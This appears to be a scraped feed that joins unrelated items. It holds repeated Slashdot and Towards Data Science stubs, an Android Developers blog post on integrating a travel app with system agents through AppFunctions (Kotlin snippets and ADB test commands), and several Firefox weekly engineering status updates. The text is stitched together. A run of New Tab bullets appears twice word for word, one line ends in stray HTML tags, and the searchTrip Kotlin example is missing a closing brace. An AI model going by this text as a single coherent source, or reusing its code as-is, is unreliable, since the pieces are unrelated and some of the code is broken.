Read more of this story at Slashdot.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

The post How to Optimize Vector Search When RAM Gets Too Expensive: On-Disk vs. In-Memory ANN Indexes appeared first on Towards Data Science.

Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.

In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, JetPacker, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.

Designing AI-ready features: making choices that matter for your users

To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.

Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the addExpense and getExpenses features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.

We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing getItinerary and addItineraryEvent to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.

Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database  using the addVoiceNote AppFunction.

Android MCP powered by AppFunctions

This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.

Android AppFunctions is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.

Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.

Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.

When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.

How we accelerated development with Android skills

To streamline the integration process, we leveraged the AppFunctions development skill. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary Service entry points, refining our KDoc documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

Providing app features to the intelligence system

Enough with the theory, let's dive into the implementation.

Configuration and dependency setup

We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.

implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")

Modeling custom data types

Any custom object exchanged with the agent must be annotated with @AppFunctionSerializable. In our TripSerializable.kt file, we define our trip data model:

@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List<String>,
)

Providing features using the @AppFunction annotation

Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with @AppFunction. We can view this in searchTrip:

/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List<TripSerializable> {
    return withContext(Dispatchers.IO) {
    // implementation
}

Since AppFunctions run on the UI thread by default, we use withContext(Dispatchers.IO) to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.

The service entry point and Hilt integration

To register these features with the intelligence system, we create an abstract base class that extends AppFunctionService. We annotate it with @AppFunctionServiceEntryPoint:

@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}

During compilation, KSP generates the final concrete service subclass, JetPackerAppFunctionService, as declared with the serviceName parameter. We also register app_metadata.xml in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.

Testing and verifying your AppFunctions

Once implemented, you should verify that your AppFunctions are registered and working correctly.

Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running adb shell cmd app_function list-app-functions displays all registered functions for your package. You can then execute a specific function and test its database integration by running adb shell cmd app_function execute-app-function while passing a raw JSON parameters string.

Instead of these ADB commands, you can also use the AppFunctions Testing Agent to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.

Wrapping it up

When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..

First, the AppFunctions development skill is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.

Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!

Learn more

Check out the other parts of this blog post series:
Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4 (this post!): System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

• The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
  • This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
  • You will be able to manage this feature in Settings under Sync (for now)
    • 
  • You can read more about the feature here
• As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
• Adaptive autofill has been enabled on Nightly.
  • Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
    • If you run into issues or have feedback, you can file a bug here!
• Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
  • dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
  • it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom
  • 

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• Amin Amir
• aoia7rz7l
• Chukwuka Rosemary
• DrSeed
• Frédéric Wang Nélar
• japandi
• John Iweh
• jonathancabera
• Josh Aas
• Keji Bakare
• kofoworola shonuyi
• konyhéa
• liz
• Mathew Hodson
• Okhuomon Ajayi
• Oluwatobi
• ROSHAAN
• Sam Johnson

New contributors (🌟 = first patch)

•  Anthony Mclamb: Disable the legacy Edge migrator
•  Amin Amir
  • 🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
  • Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
  • 🌟 Amine Zroual: Omitted maxResults property not handled correctly in getRecentlyClosed
• any1here: install_sig_alt_stack incorrectly checks mmap’s return value
• 🌟 Armin Ulrich: Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument
• japandi
  • Cannot remove amazon.com from top sites list
  • The height of the pinned tabs area should be responsive to the number of pins
  • Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations
• Nathan Johnson [:narjoDev]: Remove browser.display.use_system_colors pref
• DrSeed
  • Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting
  • The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again
• Keji Bakare:
  • Split view’s focus-outline is clipped on the right side of left tab
  • White space on the right side of left panel in split view
• 🌟 gotyaoi: Reload toolbar button is active on about:newtab
• Itoro James: [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it
• John Iweh: The notification dot is not displayed if the tab is in a Split View
• 🌟 John Iweh: sidebar-shown attribute remains when sidebar.revamp is false
• 🌟 jonathancabera:
  • The Move tab to Split View option is also displayed for the tabs that are within the Split View
  • A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled
  • Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode
• Aloys: Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67
• liz:
  • Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View
  • Button accessible name does not convey its function: missing topic context (Settings dialog > Topics dialog > buttons Following/Unfollow/Blocked/Unblock)
• Mary cathline: Tab Group Label does not respect touch density in vertical tab bar
• 🌟 Brandon Lucier: Popups opened with window.open give window type normal instead of popup
• karan68: [dialog] New Shortcut dialog needs a label/accessible name
• 🌟 Vector: Button does not programmatically indicate that it opens a dialog (Recent activity section > story card > ••• disclosure > Delete from History button)
• 🌟 Osoble: Update font size and weight for synced tabs device name headers in Firefox View
• konyhéa:
  • Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js
  • Check all second paramaters for TestUtils.waitForCondition in Fx View test files
  • Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.
• Noble Chinonso: #shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled
• Pranjali Srivastava: Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)
• Okhuomon Ajayi:
  • More spacing is needed between the tab note icon and the close icon on the tab
  • The tabs in vertical mode collapsed state are positioned differently in Split View
  • Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled
  • Vertical split view tabs can be too big or small when tabs are overflowing
• 🌟 Rishan: Fix duplicated arrow function in browser_history_sidebar.js
• Chukwuka Rosemary:
  • “Forget About This Site” context menu option missing from Firefox View history
  • Long strings are not displayed properly on the about:opentabs page search filed
  • Add test for Forget This Site option in Fxview history context menu.
• ROSHAAN:
  • 🌟Tab note background colour is incorrect for default light theme
  •  [win/linux] The splitter between content areas does not match Figma spec
  • Fix typo in OpenInTabsUtils.confirmOpenInTabs()
• Sameeksha: Disclosure button expanded/collapsed state not programmatically defined (Customize button)
• kofoworola shonuyi:
  • 🌟Actually hide or remove sidebar-shown attribute when in fullscreen.
  • Add a test for checking sidebar-shown attribute in fullscreen mode
• 🌟 Sayd Mateen: Page URL is displayed as tab name when page’s contains about:reader?</a></p> <p>

• Oluwatobi:
  • Unable to delete selected history entries from sidebar
  • Incorrect Sidebar button state/tooltip hover text
  • The city name heading level doesn’t follow the correct heading level order
• Nishchay [:nish]: Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

• In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014
  • NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes

WebExtensions Framework

• Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173
  • Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!
• Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329
  • Thanks to Simon Farre for promptly investigating and fixing this recent regression!

WebExtension APIs

• Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125
  • Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!

DevTools

• Artem Manushenkov fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (#1983408)
• Andrea Marchesini [:baku] fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (#2031299)
• Julian Descottes [:jdescottes] fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (#2028930)
• Nicolas Chevobbe [:nchevobbe] improved @container tooltip so it show the value of variables used in style()(#2030239), has enough contrast in dark mode (#2033782) and contains a link to select the container (#2031688)
  • 
• Hubert Boma Manilla (:bomsy) is making good progress on migrating the Console to CodeMirror 6 (#2032758, #2026569)

Fluent

• We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!
• 

Migration Improvements

• Thanks to dao for fixing a recent alignment issue in the migration wizard dropdown
• Thanks to volunteer contributor Anthony Mclamb for his patch that disables the legacy EdgeHTML Edge migrator! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.

New Tab Page

• Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
  • It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.
• Maxx Crawford enabled Nova designs for New Tab, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.
• Maxx Crawford fixed the Nova content feed to render the intended four‑column layout by correcting CSS grid breakpoints.
• Maxx Crawford resolved a first‑load failure in the Weather widget by fixing init order and fetch timing, eliminating the “Oops” error.
• Maxx Crawford synchronized the Weather toggle between about:preferences#home and the panel via the shared showWeather pref to prevent desync.
• Maxx Crawford updated Nova grid focus order to align tab flow with visual order for keyboard users.
• Maxx Crawford fixed critical UI issues in Lists and Timer widgets covering overflow, controls, and layout stability.
• Maxx Crawford guarded document.dir access in Nova render paths to avoid startup cache worker errors and improve startup stability.
• Rolf added a new normalization method for the inferred interest vector to stabilize topic relevance across sessions.
• Rolf prevented unnecessary content refreshes during Pocket New Tab experiments, reducing jank and bandwidth.
• Sameeksha defined the Customize button’s expanded/collapsed state programmatically using aria-expanded for better a11y.
• liz clarified follow/unfollow/blocked button names with topic context so screen readers announce clear actions.
• Vector marked the Delete from History control as opening a dialog via aria-haspopup=dialog for assistive tech.
• Scott Downe fixed a regression that flipped the Wallpapers pref off, restoring user selections.
• Irene Ni corrected privacy link color and focus styles for contrast and keyboard visibility.
• Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
• Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
• Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
• Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
• Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
• Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
• Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
• Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.
• Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
• Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
• Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
• Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
• Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
• Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
• Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
• Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.

Search and Urlbar

• Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
• Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
• Work also continues on the new Nova layouts.

Smart Window

• uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect
  • jump to bottom of conversation 2028692
  • stop streaming button 2029204
  • back/forward navigation from assistant 2029229
  • dark mode for various chips 2024499
• search engine switching from smart bar 2021973
• Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

• Dustin converted moz-breadcrumb-group variables into JSON design tokens Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens
• Dustin converted moz-box-* variables into JSON design tokens Bug 2029180 – Convert moz-box-* variables into JSON design tokens
• Dustin converted moz-promo variables to JSON design tokens Bug 2029190 – Convert moz-promo variables into JSON design tokens
• Dustin converted moz-reorderable-list variables to JSON design tokens Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens
• Dustin converted moz-visual-picker variables to JSON design tokens Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens
• Dustin updated browser-shared.css so it passes use-design-tokens Bug 2022985 – Update browser-shared.css so it passes use-design-tokens
• Dustin updated popup.css so it passes use-design-tokens Bug 2022979 – Update popup.css so it passes use-design-tokens
• Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  Bug 1955325 – Create opacity tokens
• Jon converted toolbar design tokens to JSON Bug 2017970 – Convert toolbar design tokens to json
• Anna fixed moz-select with panel-list drop-down size inconsistency Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened
• Anna fixed issue with the disabled state of moz-radio component Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled
• Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically

UX Fundamentals

• The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
• In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

• Tim converted settings related to Accessibility page to config-based pane Bug 1968116 – Convert settings related to Accessibility page to config-based settings
• Benjamin converted Privacy & Security page to the config-based pane Bug 1968112 – Convert settings related to Privacy & Security page to config-based settings
• Finn integrated Firefox Labs page into setting-pane config Bug 2021047 – Integrate Firefox Labs page into setting-pane config
• Anna converted Firefox Updates section to config-based prefs Bug 1990961 – Convert Firefox Updates section to config-based prefs
• Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings Bug 2015093 – Add a moz-promo to welcome users to the redesign
  • 
• Anna added possibility to search for actions in the redesigned “Applications” section Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section
• Anna fixed the Settings navbar layout breakage

• James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
• Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!

• Controls for the Memories feature can now be set during Smart Window onboarding

• We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, completing the deprecation
  • NOTE: The blog post published at WebExtensions API changes in Firefox 149-152 provides to extensions developers more details about this deprecation and links to the related MDN docs.

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• Amin Amir
• Pranjali Srivastava
• Sam Johnson

New contributors (🌟 = first patch)

•  🌟:23rd: Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page
• 🌟Akeem Omosanya: Remove commented-out code in SearchService.sys.mjs
• Amin Amir:
  • 🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
  • Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
• 🌟Sahaj: Suggest the default target language for translation after changing the detected source language
• 🌟JIANG Zhirui: Breakpad build failed on Windows using VS2026 due to removal of stdext
•  John Iweh: Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices
• Jak: Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting
• 🌟Andy [:rgbcmy]: Autoplayed next video should also be PIP
•  konyhéa: “Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.
•  Pranjali Srivastava:
  • Remove icon property from sidebar extensions
  • Show language-agnostic SelectTranslations context menu item when the source and target languages are the same

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

• Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by Bug 1532724, fix shipping in Firefox 152) – Bug 1595158

WebExtensions Framework

• Fixed access to web-accessible resources declared with <all_urls> from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 – Bug 2033905

WebExtension APIs

• Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs – Bug 2029092

DevTools

• Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
  • added support for remote debugging (#2014064, #2016121)
  • made sure that calls to History.replaceState are reflected in the UI (#2037359)
• Julian Descottes [:jdescottes] fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (#2030260)
• Nicolas Chevobbe [:nchevobbe] fixed the image preview tooltip for relative URLs images in constructed stylesheet (#2035503)
• Julian Descottes [:jdescottes] reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (#2026228)

WebDriver

• Amin Amir cleaned up an incorrect variable assignment in our browsingContext module.
• Logan Rosen updated stale references and broken links in our documentation about Marionette.
• Sameem improved the Marionette and WebDriver BiDi screenshot commands to enforce maximum allowed dimensions.
• Leo McArdle fixed the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”.
• Henrik Skupin fixed an issue in Marionette where WebDriver:Navigate and WebDriver:Refresh did not handle errors when the underlying navigation failed.
• Henrik Skupin improved geckodriver to detect an early Firefox exit during startup on Android, avoiding up to 60 seconds of unnecessary connection attempts.
• Henrik Skupin updated the geckodriver CI build job to produce a universal macOS binary supporting both x64 and aarch64.

Lint, Docs and Workflow

• Sylvestre ported some linters (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words & more) to Rust to help improve the runtime of the code review bot.
• Dale has been working on migration to moz-src for customkeys, dom/quota and odom/geolocation
  • https://arewemozsrcyet.com/

New Tab Page

• We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
  • We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.
• Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.
• Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!

Search and Urlbar

• Nova (URL Bar Design Refresh)
  • Drew and Daisuke continued their work on Nova styling for the Address bar (input and view).
• Search and Suggest
  • Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to update the localization string for scheduled games and another to show both teams’ icons in suggestions. Drew also landed and uplifted a fix for rich search suggestion icons being forced into a square aspect ratio.
  • Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.
• Settings Redesign (SRD)
  • Stephanie landed a test to ensure search suggestion settings are hidden when quicksuggest is disabled, as well as a patch to resolve TypeScript issues in search.mjs, and is adding test coverage to confirm removed search engines are not displayed in the default engines dropdown.
• General URL Bar and Component Updates
  • Daisuke landed implementation of the context menu on URL bar results, and a fix to show the loading URL in the URL bar when starting up with a homepage.
    • Marco is working on several tasks, including a PDF download / focus stealing issue and allowing arrays to be bound in Sqlite.sys.mjs. Marco also worked on fixes related to Places, such as avoiding replacing the favicons database if it is not corrupt.
  • Standard8 finalized the URL bar test manifest split. Standard8 also upgraded us to TypeScript 6.
  • Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (Bug 2032973), which was also uplifted. Moritz also simplified search mode switcher item activation in tests, and made it so that the unified search button popup closes when installing an open search engine.

Smart Window

• natural language starting with tab close/undo 2035343 with expandable action log 2031508

• assistant rendering feedback up/down 2032994 and markdown table 2027029
• nova styling blur 2027877 and suggestions 2026823
• accessibility screen reader 2028676 and keyboard focus 2037565
• optimize conversation starters extra requests 2030005 and caching 2033430

Storybook/Reusable Components/Acorn Design System

• Nova token updates occasionally, focused on SRD

UX Fundamentals

• Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – 2035942

Settings Redesign

• Settings redesign is being tested and will hopefully go out in Firefox 152!

• Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (Bug 1803575) on Nightly.

• Henrik Skupin released geckodriver 0.37.0, which includes support for several new APIs and various bug fixes. See the release page for details.
• Starting from Firefox 153, access to local file: URLs is being restricted by default.
  • Extensions now require an explicit “Access local files on your computer” permission, separate from broad host permissions, that users must grant.
  • Extensions can call the extension.isAllowedFileSchemeAccess() API to determine whether they have been granted access to file: URLs (Bug 2034168).

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• :Vincent
• Chris Vander Linden
• DrSeed
• Khalid AlHaddad
• Sam Johnson

New contributors (🌟 = first patch)

• Francis :mckenfra: tld service for webextensions
• any1here: about:preferences#privacy is broken with MOZ_DATA_REPORTING false
• pullmana8: Fix protocol/Actor.js to throw an Error instead of an Actor
• RAN1: Firefox Crashes on Quit When Running Two Browsers With Separate Profiles

Project Updates

Accessibility

• Morgan added a new accessibility-specific, front-end review skill to mozilla central! 🎉 You can read about it, and learn how to use it in the accessibility review source docs.

Add-ons / Web Extensions

Addon Manager & about:addons

• Migrated addon-page-header and addon-card action buttons to the reusable moz-button web component as part of the ongoing Nova restyling of about:addons – Bug 2042200 / Bug 2042204
• Extended moz-page-nav-button with a forwarded title property to fix an accessibility issue where the component lacked a label in collapsed state; Landed in Firefox 153, and uplifted to Firefox 152 for about:settings which was already riding the 152 release train – Bug 2040971
• Fixed a shutdown-timing bug where a pending GMP update-check timer could fire after XPCOMShutdownThreads started, causing a pref write assertion; Fixed in Firefox 153 – Bug 2043803

WebExtensions Framework

• Fixed MV2 content scripts incorrectly injecting into guarded hosts because MozDocumentMatcher::MatchesURI was not consulting CheckGuarded when mCheckPermissions was false; Fixed in Firefox 153 – Bug 2041393
• Added support for accessing ObservableArray attributes (such as adoptedStyleSheets) from XrayWrappers and extension content scripts, unblocking extensions that rely on this Web API; Fixed in Firefox 153 – Bug 1751346
• Wired runtime_blocked_hosts and runtime_allowed_hosts enterprise policy settings through ExtensionSettings to allow administrators to restrict extension host permissions on managed devices, starting in Firefox 153 – Bug 1805205
  • Thanks to Mike Kaply for implementing this enterprise policy enhancement.

WebExtension APIs

• Fixed promiseTabWhenReady blocking indefinitely on discarded tabs, preventing cleanup of associated resources and potentially causing memory leaks; Fixed in Firefox 153 – Bug 1653876
• Fixed webNavigation.onCommitted being dispatched twice for cross-origin iframes loaded under Fission, caused by a redundant OnStateChange trigger firing in addition to OnLocationChange; Fixed in Firefox 153 – Bug 1750196

DevTools

• Chris Vander Linden made the Search input component shared as we plan to use it in the Netmonitor as well (#2019260, #2027580, #2027582)
• pullmana8 improved error management in the DevTools protocol (#2031735)
• Chris H-C :chutten removed Legacy Telemetry devtools instrumentation (#2039650)
• :glob ✱ fixed an issue in the Inspector where the swatch color for variable in @starting-style rule could have the wrong color (#2016778)
• Nicolas Chevobbe [:nchevobbe] exposed heading level more clearly in the accessibility tree (#1588784) and in the accessibility highlighter (#2044904)

• Julian Descottes [:jdescottes] migrated the markup view to HTML (from XHTML) to fix an issue when editing the markup (CodeMirror 6 does not support XHTML) (#2028058)
• Nicolas Chevobbe [:nchevobbe] fixed an issue in Netmonitor search where it could appear the the search stalled (#2042405)
• Hubert Boma Manilla (:bomsy) added more connection information (ECH, Delegated Credentials, OCSP, Private DNS, …) in Netmonitor Security tab (#2036404)

WebDriver

• Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently.
